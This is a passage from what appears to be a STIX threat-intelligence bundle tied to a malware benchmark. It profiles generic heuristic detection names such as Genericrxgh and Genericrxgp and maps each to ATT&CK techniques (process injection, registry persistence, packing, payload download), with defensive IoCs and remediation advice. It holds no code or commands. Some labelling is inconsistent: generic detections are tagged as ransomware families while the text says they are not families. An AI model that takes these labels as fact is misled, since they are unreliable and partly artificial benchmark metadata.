          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34f48e9f-56ab-50c1-a4bc-12e2a14ade70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd9fe6c2-0392-539a-886c-207ca02ef352",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgf exhibits technique T1105 (Ingress Tool Transfer (The generic behavior of downloading a payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71b17874-d730-57dd-a680-2cdcde243f55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd9fe6c2-0392-539a-886c-207ca02ef352",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgf exhibits technique T1055 (Process Injection (A common trigger for heuristic detection engines))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--213304bb-0bf1-5213-8117-371ce747380b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd9fe6c2-0392-539a-886c-207ca02ef352",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgf exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (High entropy triggering generic alerts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--44a6f9c1-caab-52c1-83b5-03f4345ab74e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgh",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxgh\" (often displayed as Generic.RX.Trojan or Generic.RX.Suspicious) is a heuristic detection name utilized by various antivirus engines. It flags files that exhibit highly suspicious, potentially destructive runtime behaviors characteristic of Trojans, Backdoors, or Loaders. The \"rx\" denotes a detection based on advanced heuristics or sandboxed behavioral analysis rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxgh are typically distributed via malicious email attachments (spear-phishing), dropped by exploit kits on compromised websites, or delivered as secondary payloads by initial access brokers.\n\nUpon execution, this class of malware prioritizes establishing a foothold and evading detection:\n<ul>\n<li><strong>Process Injection and Hollowing:</strong> The malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Unauthorized Persistence:</strong> It attempts to ensure survival across reboots by modifying critical Windows Registry hives (e.g., `Run`, `RunOnce`, `Winlogon`) or creating hidden Scheduled Tasks.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain (Command and Control) to receive further instructions or download additional payloads (acting as a loader).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Genericrxgh detection in a critical system directory is a severe indicator of compromise (IoC). It strongly suggests that a potentially advanced threat has bypassed initial static defenses and is attempting to execute malicious code on the endpoint. Immediate investigation is required to determine the true nature of the payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against these polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on the malicious behavior flagged by the heuristic engine.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for sophisticated evasion techniques and secondary payload delivery, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.RX",
        "Suspicious.Generic",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgh"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9685327-325c-567f-9ddb-6593ced63b79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44a6f9c1-caab-52c1-83b5-03f4345ab74e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgh exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e2d25fb-63a3-5650-ac15-17c3eb99d112",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44a6f9c1-caab-52c1-83b5-03f4345ab74e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgh exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b337f093-fe3b-54c5-9614-68e1157741ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44a6f9c1-caab-52c1-83b5-03f4345ab74e",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgh exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6edd71e-ab1d-5e1d-83cb-20e0e8d3ad26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44a6f9c1-caab-52c1-83b5-03f4345ab74e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2219b8a5-b679-5f8f-bc9b-ec83750d58e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgj",
      "description": "Trojan:Win32/Genericrxgj is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxgj</b><br>To an end-user, a Genericrxgj infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxgj is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxgj is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxgj frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxgj reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ec8b3eb-6efb-5e82-9fd7-6267c15f1240",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2219b8a5-b679-5f8f-bc9b-ec83750d58e3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d2e3561-c106-5173-aa4c-aa86a64bcfe8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2219b8a5-b679-5f8f-bc9b-ec83750d58e3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--126c4bc7-34c3-51b1-bdd6-2c85058cfce9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2219b8a5-b679-5f8f-bc9b-ec83750d58e3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e512c74c-f81e-545a-bb55-4cf406372bd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2219b8a5-b679-5f8f-bc9b-ec83750d58e3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgj exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad40b07b-13ee-516b-a3bd-271506ffae6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2219b8a5-b679-5f8f-bc9b-ec83750d58e3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2ca4f72d-643b-5dd4-9d8d-a2df908aeef5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgk",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxgk\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis rather than a specific static signature, indicating an attempt by the malware to evade detection through polymorphic mutation or custom packing.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Genericrxgk typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Genericrxgk",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgk"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21e992bf-2d6a-5047-9b07-8d2e75d34055",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca4f72d-643b-5dd4-9d8d-a2df908aeef5",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgk exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d865f8a-7a80-5511-bde2-329027c17b80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca4f72d-643b-5dd4-9d8d-a2df908aeef5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgk exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9af51cd-5dde-5f08-98d4-2e518a73d697",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca4f72d-643b-5dd4-9d8d-a2df908aeef5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgk exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4158fc35-0b55-5c77-b892-714cfa0f1546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca4f72d-643b-5dd4-9d8d-a2df908aeef5",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgk exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7a20f0e-0437-510f-bdaf-8c22b069f462",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgl",
      "description": "Trojan:Win32/Genericrxgl is a generic, heuristic detection applied by Microsoft Defender to binaries exhibiting a broad range of malicious behaviors, primarily associated with downloading and executing secondary payloads. Because it is a generic signature, it catches numerous constantly-evolving threats that attempt to evade static detection.<br><br><b>Understanding Genericrxgl</b><br>To an end-user, an infection is usually invisible until a secondary payload executes. For a security analyst, a Genericrxgl alert indicates that the endpoint defense has successfully interrupted a dropper or downloader trojan before it could finalize its attack sequence. It frequently flags Initial Access Broker (IAB) tooling attempting to pull down ransomware or banking trojans.<br><br><b>Execution and Evasion Strategies</b><br>Threats flagged as Genericrxgl are typically distributed via phishing emails (`T1566.001`) or drive-by downloads (`T1189`). They often utilize aggressive packing (`T1027.002`) to hide their true payload from static scans. Upon execution, they immediately attempt to establish persistence via the Registry Run keys (`T1547.001`) and initiate outbound HTTP/HTTPS connections to download their final payload (`T1105`), often attempting to inject this payload directly into a legitimate process like `svchost.exe` (`T1055`) to evade further detection.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs include the presence of randomly named executables in the `%Temp%` or `%AppData%` directories and unexpected additions to the Registry Run keys. EDR telemetry will often show suspicious child processes spawning from `cmd.exe` or PowerShell. Network IoCs include sudden bursts of outbound HTTP traffic to recently registered or low-reputation domains immediately following the execution of an unknown file. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--650907cc-7805-5c6c-a495-32d76bb0e672",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7a20f0e-0437-510f-bdaf-8c22b069f462",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgl exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--901e3cd4-a300-5c5b-9f80-ef42d06089dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7a20f0e-0437-510f-bdaf-8c22b069f462",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgl exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2039ce9f-daf8-5bf1-84f3-4933e5f641b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7a20f0e-0437-510f-bdaf-8c22b069f462",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgl exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d9e1e40-0815-533e-a15d-b25d46045258",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7a20f0e-0437-510f-bdaf-8c22b069f462",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgl exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--15949ad7-7c4d-5e3d-87e1-212b2f70fa86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgm",
      "description": "Trojan:Win32/Genericrxgm is not a specific, named malware family, but rather a **Generic Heuristic Detection** (often flagged by McAfee or Microsoft Defender). It indicates that the antivirus engine has identified a file that matches a broad set of malicious characteristics, suspicious API call sequences, or behavioral patterns typically associated with trojans or ransomware, even though no exact, static signature exists for the file.<br><br><b>Understanding Genericrxgm (Heuristic Analysis)</b><br>To an end-user, a Genericrxgm alert appears as a standard virus warning. For a security analyst, a generic detection is a crucial early warning sign. It almost always indicates an encounter with a newly compiled (zero-day) threat, a heavily packed variant of known malware (like Emotet or Trickbot) that has bypassed static signatures via polymorphism, or a custom-built tool used by an attacker.<br><br><b>Execution and Suspicious Mechanics</b><br>Because 'Genericrxgm' is a broad label, the specific mechanics vary. The detection is usually triggered during dynamic analysis in a micro-sandbox or via machine-learning behavioral monitoring. The file may have attempted to inject code into `explorer.exe` (`T1055`), modified critical registry keys for persistence without user interaction (`T1547.001`), or attempted to enumerate the file system rapidly in a manner consistent with ransomware (`T1083`). The AV engine observes these 'malware-like' actions and blocks the process heuristically to prevent damage.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the true nature of the blocked payload. Host-based IoCs consist of the quarantined file itself and the specific EDR telemetry detailing exactly which API calls triggered the heuristic engine. Network IoCs are critical for determining the malware's intent; analysts must review proxy logs for any outbound connections attempted by the process just before it was terminated. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc61814c-c75d-52e8-abd3-11b5171c5d33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15949ad7-7c4d-5e3d-87e1-212b2f70fa86",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgm exhibits technique T1055 (Process Injection (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c09bb26-907d-5a09-8216-e8c1e29db1ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15949ad7-7c4d-5e3d-87e1-212b2f70fa86",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgm exhibits technique T1027 (Obfuscated Files or Information (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26acadb6-e70d-5505-8e37-227af97cf2bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15949ad7-7c4d-5e3d-87e1-212b2f70fa86",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgm exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry changes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4a7e5b3b-1ce6-5a20-bcd4-be98d093563f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgp",
      "description": "Trojan:Win32/Genericrxgp is a broad, generic heuristic detection utilized by antivirus engines (primarily Microsoft Defender) to flag executables exhibiting highly suspicious, trojan-like behavior or those utilizing aggressive packing techniques commonly associated with malware.<br><br><b>Understanding Genericrxgp</b><br>To the end-user, this is a standard antivirus block. For a security analyst, a 'Generic' or 'rxgp' detection means the AV engine does not recognize the specific malware family via a known hash or signature. Instead, the engine's behavioral analysis or machine-learning models determined the file is malicious based on its structure (e.g., high entropy indicating a packer) or its actions upon execution (e.g., attempting to inject code into another process).<br><br><b>Execution and Threat Hunting</b><br>Because it is a generic detection, the infection vector and execution strategy vary wildly. It could be an early-stage downloader dropped via a phishing email, a newly compiled ransomware variant, or a custom RAT used in a targeted attack. The AV engine triggered because the executable likely attempted one of several red-flag behaviors: dropping a file into `%SystemRoot%`, attempting to modify a critical Registry Run key (`T1547.001`), or utilizing API calls associated with Process Hollowing (`T1055.012`). Threat hunters must rely on EDR telemetry to trace the exact lineage of the file and identify what specific behaviors triggered the heuristic block.<br><br><b>Forensic Analysis & Impact</b><br>The impact is entirely dependent on the true nature of the payload. Incident responders cannot rely on the 'Genericrxgp' name for attribution. The immediate focus must be on obtaining the quarantined binary. Memory forensics and dynamic analysis in a sandbox are essential to force the payload to unpack itself and reveal its true capabilities, C2 infrastructure, and objectives. (Observed samples in benchmark: 63)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51fdd2cb-d2f5-5816-b420-b4ff6180485f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a7e5b3b-1ce6-5a20-bcd4-be98d093563f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f9d08c9-0511-5c4e-a827-23ad5c71a9e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a7e5b3b-1ce6-5a20-bcd4-be98d093563f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e5eb65f-812b-5cf5-8758-8799ee64d2fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a7e5b3b-1ce6-5a20-bcd4-be98d093563f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62332450-0d0d-5d17-b0b8-a9df6f4dc532",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a7e5b3b-1ce6-5a20-bcd4-be98d093563f",
